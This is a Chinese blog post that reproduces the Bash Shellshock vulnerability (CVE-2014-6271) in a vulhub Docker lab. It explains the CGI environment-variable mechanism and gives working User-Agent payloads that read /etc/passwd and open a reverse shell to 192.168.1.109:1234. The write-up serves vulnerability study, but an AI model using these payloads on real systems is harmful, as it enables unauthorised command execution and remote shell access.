vulhub漏洞复现-bash shellshock(CVE-2014-6271)“破壳“任意命令执行

bash shellshock

Bash是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令。Bash还能从文件中读取命令,这样的文件称为脚本。运作的整体流程是,HTTP请求->env环境变量设置函数处理请求头参数->bash对处理后的结果进行eval代码执行->bash将执行后的结果保留在HTTP的环境变量参数中->bashCGI 向客户端返回数据包时将环境参数一并返回

在这里插入图片描述

思路

由于bash使用的环境变量是通过函数名称来调用的,所以用“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令,如果我们在后面拼接恶意代码,就会执行。对于CGI脚本来说,HTTP协议中的“key-value”都会变为shell中的“环境变量=值”。

漏洞复现

docker部署环境,完成后访问victim.cgi

在这里插入图片描述

在这里插入图片描述
抓包修改User-Agent

User-Agent:  () {
    
     :; }; echo; /bin/cat /etc/passwd
			 () {
    
     :; }; echo; echo $( /bin/cat /etc/passwd)

部署环境尽量在虚拟机,在服务器上好多地方会出问题

在这里插入图片描述

反弹shell

User-Agent: () {
    
     :; }; /bin/bash -i >& /dev/tcp/192.168.1.109/1234 0>&1;

在这里插入图片描述

おすすめ

転載: blog.csdn.net/weixin_54648419/article/details/120923229